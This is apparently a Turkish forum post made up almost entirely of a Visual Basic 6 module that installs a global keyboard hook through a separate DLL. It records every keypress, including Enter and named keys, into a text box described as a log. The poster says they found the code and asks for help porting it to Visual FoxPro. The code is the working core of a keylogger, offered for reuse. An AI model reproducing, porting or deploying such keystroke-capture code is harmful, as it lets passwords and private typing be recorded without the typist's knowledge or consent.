Attribute VB_Name = "Module1"
Option Explicit
Public Declare Function SetHook Lib "kbhookdll.dll" (ByVal hWnd As Long) As Long
Public Declare Function RemoveHook Lib "kbhookdll.dll" () As Long
Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Public Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Public Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Const WM_USER = &H400
Public Const WM_COPYDATA = &H4A
Public Const GWL_WNDPROC = (-4)
Public KeyboardState(0 To 255) As Byte
Public PrevFuncPointer As Long
Public Function WindowProc(ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'Here wParam - Virtual KeyCode, lParam - Keyboard ScanCode
Dim RetVal As Long
Dim KeyAscii As Long
Dim KeyName As String
'On Error GoTo ErrHandler
'Is this the message from the dll
If Msg = WM_USER Then
'Now read we the keys
If (lParam And &H80000000) = 0 Then 'KeyDown Event
If GetKeyboardState(KeyboardState(0)) <> 0 Then
RetVal = ToAscii(wParam, lParam, KeyboardState(0), KeyAscii, 0)
If (RetVal = 1) And ((KeyAscii > 31) Or (KeyAscii = 13)) Then
'Key my be just added to the log
If KeyAscii = 13 Then 'Return key Pressed
Form1.Text1.Text = Form1.Text1.Text & "{ENTER}"
Else 'Character Keys pressed
Form1.Text1.Text = Form1.Text1.Text & Chr(KeyAscii)
End If
Else 'other keys
KeyName = String(20, " ")
RetVal = GetKeyNameText(lParam, KeyName, 20)
If RetVal <> 0 Then
KeyName = Left(KeyName, RetVal)
Form1.Text1.Text = Form1.Text1.Text & "{" & KeyName & "}"
End If
End If
End If
Else 'KeyUp Event
'Nothing here now
End If
End If
'Pass the procedure to the default handler
WindowProc = CallWindowProc(PrevFuncPointer, hWnd, Msg, wParam, lParam)
Exit Function
ErrHandler:
MsgBox Err.Description
RemoveHook
Err.Clear
End Function
boyle bir kod buldum ama VFP ya ceviremedim. yardimci olabilir misiniz?
Klasik ama cok dogru - Bilgi Paylastikca Cogalir ve Degerlenir !